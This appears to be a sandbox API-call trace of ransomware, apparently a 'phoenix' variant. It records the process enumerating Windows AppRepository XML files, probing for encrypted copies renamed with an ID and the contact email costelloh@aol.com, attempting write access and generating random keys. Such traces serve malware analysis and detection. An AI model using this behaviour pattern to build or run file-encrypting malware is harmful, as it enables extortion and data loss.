	[0250.751] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.751] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2659) returned 1
	[0250.751] CloseHandle (hObject=0x2d4) returned 1
	[0250.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.752] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.752] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.752] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.753] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=7955) returned 1
	[0250.753] CloseHandle (hObject=0x2d4) returned 1
	[0250.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml")) returned 0x20
	[0250.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.753] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.753] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.753] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.753] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3049) returned 1
	[0250.753] CloseHandle (hObject=0x2d4) returned 1
	[0250.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.754] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.754] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4705) returned 1
	[0250.754] CloseHandle (hObject=0x2d4) returned 1
	[0250.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.754] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.754] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=6731) returned 1
	[0250.754] CloseHandle (hObject=0x2d4) returned 1
	[0250.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.755] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.755] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.755] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.755] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2220) returned 1
	[0250.755] CloseHandle (hObject=0x2d4) returned 1
	[0250.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.755] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.755] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.755] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.756] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2675) returned 1
	[0250.756] CloseHandle (hObject=0x2d4) returned 1
	[0250.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.756] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.756] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.756] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.756] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2452) returned 1
	[0250.756] CloseHandle (hObject=0x2d4) returned 1
	[0250.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.757] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.757] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9283) returned 1
	[0250.757] CloseHandle (hObject=0x2d4) returned 1
	[0250.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.758] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.758] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4740) returned 1
	[0250.758] CloseHandle (hObject=0x2d4) returned 1
	[0250.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.758] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.758] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=26605) returned 1
	[0250.758] CloseHandle (hObject=0x2d4) returned 1
	[0250.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0250.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.759] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.759] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16369) returned 1
	[0250.759] CloseHandle (hObject=0x2d4) returned 1
	[0250.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.759] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.760] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=837) returned 1
	[0250.760] CloseHandle (hObject=0x2d4) returned 1
	[0250.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.760] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.760] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
